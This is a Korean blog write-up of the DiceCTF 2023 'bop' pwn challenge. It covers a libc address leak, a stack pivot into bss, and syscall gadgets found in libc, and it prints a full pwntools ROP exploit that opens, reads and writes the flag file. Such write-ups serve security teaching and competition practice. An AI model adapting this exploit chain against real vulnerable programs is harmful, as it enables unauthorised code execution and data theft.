Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[DiceCTF 2023] bop 본문

Hack/CTF

[DiceCTF 2023] bop

CIDY 2023. 2. 5. 19:35

간단한 syscall rop문제이다. 금방 풀었는데 로되리안뜨니까 의욕이 팍 식어버려서 던져놨었는데 뒤늦게 까보니 align문제였던 것 같다. ret하나 넣어주니까 remote에서도 바로 플래그 따짐...

코드는 이게 다임. 그냥 진짜 단순한 rop문제이다.

open read write exit syscall만 쓰라고 한다. read랑 write는 내부적으로 어차피 동일한 syscall해서 libc만 구하면 바로 쓸수있는데 open이 내부적으로 0x101(257, openat)를 써서 syscall가젯 구하는 과정이 따로 필요할 것 같다.
바이너리에는 syscall ; ret이 따로 없어서 립씨에서 찾아야 한다.

근데 문제는 립씨에도 syscall바로 다음에 ret이 오는게 없믐;;; 그래서 find "\x0f\x05" (-> 이게 syscall임.) 해서 바로 붙어있지는 않지만 syscall거의 직후에 ret이 오는 가젯을 구했다. (syscall바로 직후에 ret오는게 아니면 코드 흐름이 이상한데로 가버려서 터지는 탓에...)

암튼 그렇게 찾은게 이거 ㅋㅋ

그 외에 pop rax나 pop rdx같은 바이너리에 없는 가젯을 몇개 더 립씨에서 찾아줌. 정말 다행히 remote랑 local이랑 립씨 동일해서 크게 화나는 일 없이 플래그 구함.

from pwn import *

#p = process("./bop")
p = remote("mc.ax", 30284)
e = ELF("./bop")
libc = e.libc

pop_rdi = 0x4013d3
pop_rsi_r15 = 0x4013d1
gets = 0x401352

bss = 0x404080 + 0x600

#dummy
bop = b""
bop += b"A" * 0x20
bop += p64(bss + 0x10)

#libc leak
bop += p64(pop_rdi)
bop += p64(e.got['printf'])
bop += p64(pop_rdi + 1)
bop += p64(e.plt['printf'])
bop += p64(gets)

p.sendline(bop)

printf = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = printf - libc.sym['printf']
log.info("libc base : " + hex(libc_base))

pop_rax = libc_base + 0x36174 
pop_rdx = libc_base + 0x142c92 
syscall = libc_base + 0x433d9
_read = libc_base + libc.sym['read']
_write = libc_base + libc.sym['write']

#rsp -> bss!
pv = b""
pv += b"flag.txt"
pv += p64(0) * 4
pv += p64(pop_rdi) + p64(bss - 0x10)
pv += p64(pop_rsi_r15) + p64(0) + p64(0)
pv += p64(pop_rax) + p64(2)
pv += p64(syscall)
# call open("/flag.txt",0);

pv += p64(pop_rdi) + p64(3)
pv += p64(pop_rsi_r15) + p64(bss + 0x200) + p64(0)
pv += p64(pop_rdx) + p64(0xa0) 
pv += p64(_read)
# call read(3,bss + 0x100,0x100);

pv += p64(pop_rdi) + p64(1)
pv += p64(pop_rsi_r15) + p64(bss + 0x200) + p64(0)
pv += p64(pop_rdx) + p64(0xa0)
pv += p64(_write)
# call write(1,bss + 0x100,0x100);

p.sendline(pv)

p.interactive()


처음에 sfp에 bss영역 주소 넣어서 rbp에 저장해둔 다음에 립씨릭만 수행하고 gets받는곳으로 돌아가면 rbp를 기준으로 - 0x20에 gets하기 때문에 bss영역에 코드 쓸 수 있음. 그런다음 leave ; ret한번 더 하게 되니까 rsp가 rbp있는 bss로 뛰고 코드 적어둔거 수행되면서 open read write됨. open만 syscall쓰고 나머지는 그냥 함수 씀.

flag


후기: 아무리 로컬에서 잘해도 결국 remote에서 플래그 따야 하는건데 립씨나 오프셋 차이, 얼라인 안 맞는것까지 잘 극복할 수 있어야 할듯하다

'Hack > CTF' 카테고리의 다른 글

[LACTF 2023] rut-roh-relro  (0) 2023.02.14
[LACTF 2023] rickroll(Write-up)  (0) 2023.02.14
[CCE 2022] proximity(Write-up 작성중)  (0) 2023.02.10
[CCE 2022] byenance  (0) 2023.02.09
[Hitcon 2022] 🐚 wtfshell (작성중)  (0) 2022.12.25